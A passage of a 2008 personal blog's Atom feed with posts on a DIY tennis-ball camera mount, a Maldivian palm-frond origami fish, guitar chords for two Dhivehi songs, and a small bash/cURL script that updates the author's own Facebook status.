tennis ball, like a can of lay's stax (pringles seem to be a bit larger)&lt;/li&gt;&lt;li&gt;one 1/4" bolt (make sure it's got the right tread), a nut, a butterfly nut and a washer.&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;That's all!&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;a href="http://3.bp.blogspot.com/_bwme_BmmviI/SOOhhxY2Z-I/AAAAAAAAAMU/4_EpcLh-Nvk/s1600/IMG_7885.jpg" imageanchor="1" rel="lightbox[ballpod]"&gt;&lt;img src="http://3.bp.blogspot.com/_bwme_BmmviI/SOOhhxY2Z-I/AAAAAAAAAMU/bg1yIOj6WVw/s200-R/IMG_7885.jpg" border="0" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;Take the ball, and poke a hole in it using a knife or something. In retrospect it's better if the hole is actually a HOLE and not a cross cut like I did here.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;a href="http://4.bp.blogspot.com/_bwme_BmmviI/SOOiFEDqFoI/AAAAAAAAAMc/bFDGe13gcBM/s1600/IMG_7879.JPG" imageanchor="1" rel="lightbox[ballpod]"&gt;&lt;img src="http://4.bp.blogspot.com/_bwme_BmmviI/SOOiFEDqFoI/AAAAAAAAAMc/VX0wLDjr3Oc/s200-R/IMG_7879.JPG" border="0" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;I made two mistakes in the above step. Like I said, it's better if you can make a whole (roughly the size of the bolt, maybe a bit larger but not too large), and the second mistake being I opened it up too much. Be careful!&lt;br /&gt;&lt;br /&gt;Next, insert the bolt head first into the hole. place a washed on top to snug it up a bit, and insert a nut. Tighten the nut as much as you can. And voila! the ball is done! (btw these tennis balls stink like ass when you open em up.. just a warning.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;a href="http://2.bp.blogspot.com/_bwme_BmmviI/SOOi7RaPXlI/AAAAAAAAAMk/J86njULbK8s/s1600/IMG_7881.JPG" rel="lightbox[ballpod]"&gt;&lt;img src="http://2.bp.blogspot.com/_bwme_BmmviI/SOOi7RaPXlI/AAAAAAAAAMk/cs-Bhm_9cYE/s200-R/IMG_7881.JPG" border="0" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;Now we move on to the can. Tape up the bottom. Use a piece of cardboard to plug it up if it already isn't. I'm not using a Lay's Stax can or anything, because I found this empty tube in which some badminton shuttles came it. This thing fits like a glove! Also, if you bought your tennis balls in a can, that is probably the best one to use for this. There are plenty of options out there, explore! find something you can use.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;a href="http://4.bp.blogspot.com/_bwme_BmmviI/SOOkjbWdwsI/AAAAAAAAAM0/R67iJOc9x3A/s1600/IMG_7886.JPG" rel="lightbox[ballpod]"&gt;&lt;img src="http://4.bp.blogspot.com/_bwme_BmmviI/SOOkjbWdwsI/AAAAAAAAAM0/27ad81FDYPw/s200-R/IMG_7886.JPG" border="0" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;Cut the can up. The height of it should be somewhere between the center of the ball and the top. (ie, taller than it's radius, shorter than the diameter) In my case, the lid of the can was indented so I cut it up to the size of the diameter.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;a href="http://3.bp.blogspot.com/_bwme_BmmviI/SOOkRHApt9I/AAAAAAAAAMs/w0dX-_O2ea0/s1600/IMG_7889.JPG" rel="lightbox[ballpod]"&gt;&lt;img src="http://3.bp.blogspot.com/_bwme_BmmviI/SOOkRHApt9I/AAAAAAAAAMs/gfzhP-H8K-c/s200-R/IMG_7889.JPG" border="0" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Not take the lid, and cut a hole in it so that it will fit the ball snugly on the top. you may need to give this a couple of tries to get it just right. don't worry it's well worth the effort.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;a href="http://3.bp.blogspot.com/_bwme_BmmviI/SOOlbu-bhQI/AAAAAAAAAM8/s8L81g0ihzg/s1600/IMG_7888.JPG" rel="lightbox[ballpod]"&gt;&lt;img src="http://3.bp.blogspot.com/_bwme_BmmviI/SOOlbu-bhQI/AAAAAAAAAM8/7Nc17HedG5s/s200-R/IMG_7888.JPG" border="0" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;And that's pretty much it! all you have to do now is put the ball in the can, the lid ON the can and tape/glue it to keep it in place. I chose to tape it because, well to be honest I didn't know how it'd turn out.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;a href="http://4.bp.blogspot.com/_bwme_BmmviI/SOOl6lEYwaI/AAAAAAAAANE/16nNnA7Q9x8/s1600/IMG_7893.JPG" rel="lightbox[ballpod]"&gt;&lt;img src="http://4.bp.blogspot.com/_bwme_BmmviI/SOOl6lEYwaI/AAAAAAAAANE/tNj9oWUkSFk/s200-R/IMG_7893.JPG" border="0" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Now for the butterfly nut. You put this on the bolt , backwards. This is so that when you screw the camera on, you can unscrew the bolt towards the camera and make a snug fit. I couldn't find a butterfly nut so I used a regular nut instead.&lt;br /&gt;&lt;br /&gt;That's it! you have yourself a tennis-ballpod! This thing turned out to be surprisingly versatile, and much better to use in practice than I had originally anticipated. The one pictured above gives me about 120 degrees of movement around the two horizontal axes and 360 around the vertical. Not too shabby.&lt;br /&gt;&lt;br /&gt;You might want to add a little weight to the bottom to keep it from tipping over when the camera is tilted all the way over. As it is, it's able to support my point-and-shoot almost all the way without any problems. I wouldn't recommend using this with a bigger camera, although with better construction, it should easily be able to "handle it"&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_bwme_BmmviI/SOOnQv_LlqI/AAAAAAAAANM/IYjJWzCwlqc/s1600/IMG_0056.jpg" rel="lightbox[ballpod]"&gt;&lt;img src="http://3.bp.blogspot.com/_bwme_BmmviI/SOOnQv_LlqI/AAAAAAAAANM/6zZDmlGi5Uw/s200-R/IMG_0056.jpg" border="0" /&gt;&lt;/a&gt;  &lt;a href="http://3.bp.blogspot.com/_bwme_BmmviI/SOOntfIgzzI/AAAAAAAAANk/uq7GSHiDYRQ/s1600/IMG_0059.jpg" rel="lightbox[ballpod]"&gt;&lt;img src="http://3.bp.blogspot.com/_bwme_BmmviI/SOOntfIgzzI/AAAAAAAAANk/bsoNtdpADMQ/s200-R/IMG_0059.jpg" border="0" /&gt;&lt;/a&gt; &lt;a href="http://4.bp.blogspot.com/_bwme_BmmviI/SOOnUm-86cI/AAAAAAAAANU/TJotnGPLBq4/s1600/IMG_0057.jpg" rel="lightbox[ballpod]"&gt;&lt;img src="http://4.bp.blogspot.com/_bwme_BmmviI/SOOnUm-86cI/AAAAAAAAANU/XQvaJUedrug/s200-R/IMG_0057.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-8160671420574370753?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/8160671420574370753/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/10/diy-3-axis-ballhead-tripod-thingie-aka.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8160671420574370753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8160671420574370753'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/10/diy-3-axis-ballhead-tripod-thingie-aka.html' title='DIY 3-axis ballhead tripod thingie (a.k.a The tennis-ballpod!)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/kudanai/SOOeuOGxIBI/AAAAAAAAAMQ/ecsj2-nPEew/s72-c/%5BUNSET%5D.jpg' height='72' width='72'/><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3063620930776486924</id><published>2008-09-29T15:29:00.001+08:00</published><updated>2008-09-29T15:29:12.141+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DIY'/><category scheme='http://www.blogger.com/atom/ns#' term='rukufan origami'/><title type='text'>RUKUFAN ORIGAMI: FISH 2</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Ah! the saga continues. It's taken me a while to figure out how to make another one of these things, but then again I haven't really had much time of late to be...fiddling. (hah! liar)&lt;br/&gt;&lt;br/&gt;Anyway here is an alternate version of a fish made out of Rukufan/Palm fronds. I believe that this version is the more historically common variant in the Maldives. So let's call it the "Maldivian version" or something hehe. &lt;br/&gt;&lt;br/&gt;Click on the images for larger views. It  might take a little while to load all the images, so please be patient.&lt;br/&gt;&lt;br/&gt;let us proceed!&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;1) you will need one palm leaf, with the midrib removed, or two pieces of ribbon if you like that.&lt;br/&gt;&lt;br/&gt;&lt;center&gt;&lt;a rel='lightbox[fish2]' href='http://lh4.ggpht.com/kudanai/SOB3-VTOd4I/AAAAAAAAALk/KzrjP3AaY00/%5BUNSET%5D.jpg'&gt;&lt;img width='248' height='186' src='http://lh4.ggpht.com/kudanai/SOB3-VTOd4I/AAAAAAAAALk/KzrjP3AaY00/%5BUNSET%5D.jpg' style='max-width: 800px;'/&gt;&lt;/a&gt;&lt;/center&gt;&lt;br/&gt;&lt;br/&gt;2) Tie a knot in the middle, just a simple knot. Notice how the shiny surfaces face away from each other. This is important if you want consistency in the final output. Tighten the knot.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;center&gt;&lt;a rel='lightbox[fish2]' href='http://lh5.ggpht.com/kudanai/SOB4yrXiWHI/AAAAAAAAALo/BbaspF0RpPw/%5BUNSET%5D.jpg'&gt;&lt;img width='248' height='186' src='http://lh5.ggpht.com/kudanai/SOB4yrXiWHI/AAAAAAAAALo/BbaspF0RpPw/%5BUNSET%5D.jpg' style='max-width: 800px;'/&gt;&lt;/a&gt;  &lt;a rel='lightbox[fish2]' href='http://lh6.ggpht.com/kudanai/SOB5gKLBOBI/AAAAAAAAALs/VAVdMcKLeVI/%5BUNSET%5D.jpg'&gt;&lt;img width='248' height='186' src='http://lh6.ggpht.com/kudanai/SOB5gKLBOBI/AAAAAAAAALs/VAVdMcKLeVI/%5BUNSET%5D.jpg' style='max-width: 800px;'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/center&gt;&lt;br/&gt;&lt;br/&gt;3) Notice that on each side, the knot consists of a section of strip that goes all the way across (let's call it section A), and one that gets tucked under section A (call it section B). We will be working with the loose hanging strips coming from under section B. Take the upper strip, and fold it OVER Section A...&lt;br/&gt;&lt;br/&gt;&lt;center&gt;&lt;a rel='lightbox[fish2]' href='http://lh3.ggpht.com/kudanai/SOB7a1lDHeI/AAAAAAAAALw/qSbA2OHnMS0/%5BUNSET%5D.jpg'&gt;&lt;img width='248' height='186' src='http://lh3.ggpht.com/kudanai/SOB7a1lDHeI/AAAAAAAAALw/qSbA2OHnMS0/%5BUNSET%5D.jpg' style='max-width: 800px;'/&gt;&lt;/a&gt; &lt;a rel='lightbox[fish2]' href='http://lh6.ggpht.com/kudanai/SOB7-odLmiI/AAAAAAAAAL0/73imDGvG5Gs/%5BUNSET%5D.jpg'&gt;&lt;img width='248' height='186' src='http://lh6.ggpht.com/kudanai/SOB7-odLmiI/AAAAAAAAAL0/73imDGvG5Gs/%5BUNSET%5D.jpg' style='max-width: 800px;'/&gt;&lt;/a&gt;&lt;/center&gt;&lt;br/&gt;&lt;br/&gt;4) ...and tuck it under there. Tighten it up!&lt;br/&gt;&lt;br/&gt;&lt;center&gt;&lt;a rel='lightbox[fish2]' href='http://lh6.ggpht.com/kudanai/SOB8p0jelEI/AAAAAAAAAL4/lNzrVINYWIs/%5BUNSET%5D.jpg'&gt;&lt;img width='248' height='186' src='http://lh6.ggpht.com/kudanai/SOB8p0jelEI/AAAAAAAAAL4/lNzrVINYWIs/%5BUNSET%5D.jpg' style='max-width: 800px;'/&gt;&lt;/a&gt; &lt;a rel='lightbox[fish2]' href='http://lh5.ggpht.com/kudanai/SOB9KQKj-yI/AAAAAAAAAL8/2REx6liwjsE/%5BUNSET%5D.jpg'&gt;&lt;img width='248' height='186' src='http://lh5.ggpht.com/kudanai/SOB9KQKj-yI/AAAAAAAAAL8/2REx6liwjsE/%5BUNSET%5D.jpg' style='max-width: 800px;'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/center&gt;&lt;br/&gt;&lt;br/&gt;5) flip the fish over, and repeats steps 3 and 4 for this side. You should now have something that looks like this...&lt;br/&gt;&lt;br/&gt;&lt;center&gt;&lt;a rel='lightbox[fish2]' href='http://lh4.ggpht.com/kudanai/SOB91cSaW1I/AAAAAAAAAMA/qUSWG0yvpvc/%5BUNSET%5D.jpg'&gt;&lt;img width='248' height='186' src='http://lh4.ggpht.com/kudanai/SOB91cSaW1I/AAAAAAAAAMA/qUSWG0yvpvc/%5BUNSET%5D.jpg' style='max-width: 800px;'/&gt;&lt;/a&gt;&lt;/center&gt;&lt;br/&gt;&lt;br/&gt;6) Good. We're almost there. We're still working with the same two ends we were just playing with. Take one, and twist that over to the other side from where it is, and tuck it under the crossing strip there. Repeat for the other one on the other side.&lt;br/&gt;&lt;br/&gt;&lt;center&gt;&lt;a rel='lightbox[fish2]' href='http://lh6.ggpht.com/kudanai/SOB-v7vGskI/AAAAAAAAAME/P2UiE5ULpYo/%5BUNSET%5D.jpg'&gt;&lt;img width='248' height='186' src='http://lh6.ggpht.com/kudanai/SOB-v7vGskI/AAAAAAAAAME/P2UiE5ULpYo/%5BUNSET%5D.jpg'/&gt;&lt;/a&gt;&lt;/center&gt;&lt;br/&gt;&lt;br/&gt;and Voila!&lt;br/&gt;&lt;br/&gt;&lt;center&gt;&lt;a rel='lightbox[fish2]' href='http://lh4.ggpht.com/kudanai/SOB_Vi1FfyI/AAAAAAAAAMI/wJFeAeLvA1I/%5BUNSET%5D.jpg'&gt;&lt;img width='248' height='186' src='http://lh4.ggpht.com/kudanai/SOB_Vi1FfyI/AAAAAAAAAMI/wJFeAeLvA1I/%5BUNSET%5D.jpg' style='max-width: 800px;'/&gt;&lt;/a&gt;&lt;/center&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;All you gotta do now is trim up those fins and you got yourself a fish! Here is what a finished fish may look like. Ideally this is done with a younger leaf. Notice Venus the guitar down there on the left, and the the DIY guitar stand she's sitting on.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;center&gt;&lt;a rel='lightbox[fish2]' href='http://lh5.ggpht.com/kudanai/SOCAKsxi1-I/AAAAAAAAAMM/GuvdnoKuKAQ/%5BUNSET%5D.jpg'&gt;&lt;img width='346' height='260' src='http://lh5.ggpht.com/kudanai/SOCAKsxi1-I/AAAAAAAAAMM/GuvdnoKuKAQ/%5BUNSET%5D.jpg' style='max-width: 800px;'/&gt;&lt;/a&gt;&lt;/center&gt;&lt;br/&gt;&lt;br/&gt;Don't forget to check out other projects in the &lt;big&gt;&lt;b&gt;&lt;a href='http://kudanai.blogspot.com/search/label/rukufan%20origami'&gt;RUKUFAN ORIGAMI&lt;/a&gt;&lt;/b&gt;&lt;/big&gt; series&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3063620930776486924?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3063620930776486924/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/rukufan-origami-fish-2.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3063620930776486924'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3063620930776486924'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/rukufan-origami-fish-2.html' title='RUKUFAN ORIGAMI: FISH 2'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/kudanai/SOB3-VTOd4I/AAAAAAAAALk/KzrjP3AaY00/s72-c/%5BUNSET%5D.jpg' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-6842838266766200637</id><published>2008-09-28T17:15:00.002+08:00</published><updated>2008-09-28T17:16:33.046+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords: Dhonkamana (Trio)</title><content type='html'>Up on request from a fellow fan. Here is... Dhonkamana by Trio. A nice, feel good love song - perfect for serenading, if you're into that sort of thing. The strumming pattern may sound hard but it's actually pretty easy. pluck the A string (open), tap down the C chord, pluck G-B, tap - and repeat, and so on. If you're going to strum the chords and not pick, it's better to use barre chords instead, and C on the 8th fret.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;div class="youtube-video"&gt;&lt;object height="355" width="425"&gt;&lt;param value="http://www.youtube.com/v/WEuHyliv0oM" name="movie"&gt; &lt;param value="transparent" name="wmode"&gt; &lt;embed wmode="transparent" type="application/x-shockwave-flash" src="http://www.youtube.com/v/WEuHyliv0oM" height="355" width="425"&gt;&lt;/embed&gt;    &lt;/object&gt;&lt;/div&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;pre&gt;intro - C F G C F G&lt;br /&gt;(strum the chords lightly)&lt;br /&gt;&lt;br /&gt;C&lt;br /&gt;dhon kamana feneythoa&lt;br /&gt;C&lt;br /&gt;rashutherey ulhefymey&lt;br /&gt;F            C&lt;br /&gt;fennaaneybaa libeyneybaa&lt;br /&gt;C&lt;br /&gt;dhon kamana feneythoa&lt;br /&gt;C&lt;br /&gt;rashutherey ulhefymey&lt;br /&gt;F            C&lt;br /&gt;fennaaneybaa libeyneybaa&lt;br /&gt;G           F&lt;br /&gt;thee magey raanee ey&lt;br /&gt;G         F         C&lt;br /&gt;hih edhey malikaaey fennaanebaa&lt;br /&gt;C&lt;br /&gt;libeyneybaa&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C&lt;br /&gt;vilaathah nookuraashey&lt;br /&gt;C                           F&lt;br /&gt;udumathin fehi kuraashe namaves&lt;br /&gt;                     C&lt;br /&gt;mivaa loebbeh badhaleh nuvaaney&lt;br /&gt;C&lt;br /&gt;loabivey inthihaa&lt;br /&gt;C                       F&lt;br /&gt;loabivey haadhahaa nethumun&lt;br /&gt;                      C&lt;br /&gt;vedhaaney fanaa dhuiniyain vedhaaney&lt;br /&gt;G          F&lt;br /&gt;thee magey raanee ey&lt;br /&gt;G          F        C&lt;br /&gt;hih edhey malikaaey fennaanebaa&lt;br /&gt;C&lt;br /&gt;libeyneybaa&lt;br /&gt;C&lt;br /&gt;libeynebaa&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C&lt;br /&gt;dhon kamana feneythoa&lt;br /&gt;C&lt;br /&gt;rashutherey ulhefymey&lt;br /&gt;F            C&lt;br /&gt;fennaaneybaa libeyneybaa&lt;br /&gt;C&lt;br /&gt;dhon kamana feneythoa&lt;br /&gt;C&lt;br /&gt;rashutherey ulhefymey&lt;br /&gt;F            C&lt;br /&gt;fennaaneybaa libeyneybaa&lt;br /&gt;G           F&lt;br /&gt;thee magey raanee ey&lt;br /&gt;G         F         C&lt;br /&gt;hih edhey malikaaey fennaanebaa&lt;br /&gt;C&lt;br /&gt;libeyneybaa&lt;br /&gt;C&lt;br /&gt;libeyneybaa&lt;br /&gt;C&lt;br /&gt;libeyneybaa&lt;br /&gt;C           F&lt;br /&gt;libeyneybaa&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-6842838266766200637?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/6842838266766200637/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/guitar-chords-dhonkamana-trio.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6842838266766200637'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6842838266766200637'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/guitar-chords-dhonkamana-trio.html' title='Guitar Chords: Dhonkamana (Trio)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-7965858427558731314</id><published>2008-09-28T07:39:00.005+08:00</published><updated>2008-09-28T07:53:25.815+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Changing Facebook status with Bash, cURL - UPDATE!</title><content type='html'>Here's a little upgrade to the Facebook script.&lt;br /&gt;&lt;br /&gt;Changes from the &lt;a href="http://kudanai.blogspot.com/2008/09/update-facebook-status-through-bash.html"&gt;old version&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;1. Added some error checking should now detect failed/successful logins, and update attempt.&lt;br /&gt;2. writes cookies to /tmp/ instead of $HOME&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Not much of a changelog I know, but I suppose this makes for pretty much all the updating that this script would require. Don't forget to check out how to &lt;a href="http://kudanai.blogspot.com/2008/09/running-bash-scripts-on-iphone.html"&gt;run this on the iPhone&lt;/a&gt;, although it does seem quite unnecessary since the Facebook app is pretty good.&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint lang-bsh"&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;email=YOUR-EMAIL&lt;br /&gt;pass=YOUR-PASSWORD&lt;br /&gt;&lt;br /&gt;stat=$1&lt;br /&gt;cookie="/tmp/"$RANDOM"fupdate"$RANDOM"cookiefile"&lt;br /&gt;&lt;br /&gt;if [ -z "${stat}" ]&lt;br /&gt;then&lt;br /&gt; echo -e "\n\E[01musage\E[0m: \n  fupdate 'your new status message'\n"&lt;br /&gt; echo -e "The status should not be empty\n"&lt;br /&gt; exit 1&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;echo -n "Trying to log in..."&lt;br /&gt;pfID=`curl -L --silent -A "MOZILLA/5.0" -b ${cookie} -c ${cookie} -d "email=${email}" \&lt;br /&gt; -d "pass=${pass}" -d "login=Log+In" http://m.facebook.com/login.php | \&lt;br /&gt; sed -nr 's/.*post_form_id" value="(\w+)".*/\1/p'`&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if [ -z ${pfID} ];then echo "FAILED (no pfID)";exit 1;else echo "SUCCESS!";fi&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;echo -n "Trying to update..."&lt;br /&gt;return=`curl --silent -L -A "MOZILLA/5.0" -b ${cookie} -c ${cookie} \&lt;br /&gt; -d "post_form_id=${pfID}" -d "status=${stat}" \&lt;br /&gt; -d "update=Update" http://m.facebook.com/home.php | \&lt;br /&gt; sed -nr 's/.*(Your status has been updated).*/\1/p'`&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;if [ -z "${return}" ];then echo "FAILED";exit 1;else echo "SUCCESS!";fi&lt;br /&gt;&lt;br /&gt;if [ -e ${cookie} ]&lt;br /&gt;then&lt;br /&gt; rm ${cookie}&lt;br /&gt;else&lt;br /&gt; echo "no cookie file? something went wrong?"&lt;br /&gt; exit 1&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-7965858427558731314?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/7965858427558731314/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/changing-facebook-with-bash-curl-update.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7965858427558731314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7965858427558731314'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/changing-facebook-with-bash-curl-update.html' title='Changing Facebook status with Bash, cURL - UPDATE!'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-5280628525319696220</id><published>2008-09-24T17:32:00.004+08:00</published><updated>2008-09-24T17:46:00.448+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords: Dhenneveemey Gislaa (Fa'thu)</title><content type='html'>I don't know who's song this is originally, but it's quite familiar. Either way I think Fa'thu did a great job with it. The toned down chords and everything along with that husky voice...purr!!!&lt;br /&gt;&lt;br /&gt;It's not a hard song to figure out, but for those of you who are a little...tone challenged, here it is!&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;div class="youtube-video"&gt;&lt;object height="355" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ynA1m1YZdE8"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.youtube.com/v/ynA1m1YZdE8" type="application/x-shockwave-flash" wmode="transparent" height="355" width="425"&gt; &lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;pre&gt;[CHORUS]&lt;br /&gt;                            Am&lt;br /&gt;Dhenneveemey gislaa roe roe faa.&lt;br /&gt;                        G&lt;br /&gt;aashigaa ey loabin annaashey. &lt;br /&gt;Dm                  Am&lt;br /&gt;vee loabin maruvaan hey?&lt;br /&gt;Dm                  Am&lt;br /&gt;vee loabin maruvaan hey?&lt;br /&gt;&lt;br /&gt;Am&lt;br /&gt;Dhenneveemey gislaa roe roe faa...&lt;br /&gt;&lt;br /&gt;Am                          G&lt;br /&gt;Bunebalaashey! mithuraa edhevey gothei,&lt;br /&gt;Dm                       Am&lt;br /&gt;beynumiyya, hithugaa vaa haa gothei.&lt;br /&gt;            G&lt;br /&gt;loabing koh dheynamey!&lt;br /&gt;            Am&lt;br /&gt;ufalun koh dheynamey!&lt;br /&gt;&lt;br /&gt;[CHORUS]&lt;br /&gt;&lt;br /&gt;Am&lt;br /&gt;Dhenneveemey gislaa roe roe faa...&lt;br /&gt;&lt;br /&gt;Am                       G&lt;br /&gt;vaudhuveemey, umurah ekugaa ulhen&lt;br /&gt;Dm                        Am&lt;br /&gt;mee thedhei kan aharen dhakkaanamey.&lt;br /&gt;            G&lt;br /&gt;mikamah ruhifaanu hey?&lt;br /&gt;            Am&lt;br /&gt;noonee maruvaanamey!&lt;br /&gt;&lt;br /&gt;[CHORUS]&lt;br /&gt;&lt;br /&gt;Am&lt;br /&gt;Dhenneveemey gislaa roe roe faa...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-5280628525319696220?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/5280628525319696220/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/guitar-chords-dhenneveemey-gislaa-fa.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5280628525319696220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5280628525319696220'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/guitar-chords-dhenneveemey-gislaa-fa.html' title='Guitar Chords: Dhenneveemey Gislaa 